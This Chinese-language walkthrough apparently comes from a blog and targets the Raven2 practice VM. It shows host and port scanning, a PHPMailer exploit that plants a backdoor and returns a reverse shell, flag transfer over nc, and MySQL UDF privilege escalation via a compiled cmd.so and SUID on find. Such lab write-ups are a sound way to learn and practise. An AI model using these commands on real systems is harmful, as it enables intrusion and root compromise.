Raven2靶场渗透
靶场搭建
链接:https://pan.baidu.com/s/1yW4m3Lj0nu4X2YTDRexp8g?pwd=bull
提取码:bull
漏洞复现
1、信息收集
1、主机发现
输入 netdiscover -i eth0 -r 192.168.22.0/24
-i:指定网卡设备
-r:指定扫描网段
2、端口扫描
nmap -Pn 192.168.22.0/24
3、目录遍历
dirsearch -u http://192.168.22.142/
访问一下/vendor目录,发现目录有很多的文件
从/path目录下发现第一个flag
再打开readme.md文件,这是一个phpmailer的介绍,在version中查看到版本
根据以上信息搜索phpmailer有无漏洞可利用
既然有,话不多说,开干。
2、漏洞利用
1、get shell
这里使用40947.py,下载到本地
searchsploit -m php/webapps/40974.py
修改一下保存退出
#1.target中的ip换成自己的靶机ip,backdoor的文件名可以改一个简单的
#2.回连IP与端口改成自己的宿主机ip,端口
#3.根据根目录修改haha.php所属位置,和我改一样就可以
运行40974.py文件
python 40947.py
访问contact页面时会生成haha.php页面后门,开启侦听,访问mm时会将靶机bash传过来
shell成功
升级一下shell
python -c 'import pty;pty.spawn("/bin/bash")'
利用find指令找到两个flag
find / -name "flag*"
找到flag3的位置,用nc传过来
nc -nvlp 3333 > flag.png
nc 192.168.22.135 3333 < flag3.png -w 1
2、MySQL-UDF提权
在/var/www/html目录下使用ls查看文件,发现有一个wordpress的文件夹,cd进去寻找信息
重点查看配置文件wp-config.php,可以看到数据库账号和密码
cat wp-config.php
数据库账号:root
数据库密码:R@v3nSecurity
使用LinEnum.sh信息收集脚本对整个后台系统的扫描一遍
脚本下载地址:https://github.com/rebootuser/LinEnum
kali使用python开启http服务
python3 -m http.server 80
将脚本文件下载到靶机使用:
wget http://192.168.22.142/LinEnum.sh
赋予执行权限
chmod +x LinEnum.sh
执行扫描
./LinEnum.sh
这里可以看到root是最高权限,所以进行提权,涉及到数据库提权可以使用udf提权方式获取最高权限
登录MySQL查看一下数据库版本,版本为5.5.60
在kali中搜索mysql udf
searchsploit mysql udf
使用第二个1518.c
#查找路径
find / -name 1518.c
#复制到/root目录下
cp /usr/share/exploitdb/exploits/linux/local/1518.c /root
在kali上进行编译
gcc -g -c 1518.c
gcc -g -shared -o cmd.so 1518.o -lc
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名
将cmd.so文件上传到靶机
传输成功,现在登录mysql查询secure_file_priv是否为空
mysql -u root -pR@v3nSecurity #登录mysql
show global variables like 'secure%'; #查询secure_file_priv
当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
可写入文件,开udf提权
show databases; #查询所有数据库
use mysql; #使用mysql数据库
#创建表raven2
create table raven2(line blob);
#将刚上传的cmd.so插入表
insert into raven2 values(load_file('/var/www/html/cmd.so'));
raven2表成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出,outfile会有特殊的转换,而dumpfile是原数据导出!
#新建存储函数
select * from raven2 into dumpfile '/usr/lib/mysql/plugin/cmd.so';
#创建自定义函数do_system,类型是integer,别名(soname)文件名字
create function do_system returns integer soname 'cmd.so';
#查询函数是否创建成功
select * from mysql.func;
#调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令
select do_system('chmod u+s /usr/bin/find');
在shell界面执行find命令
提权成功,获取flag4
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义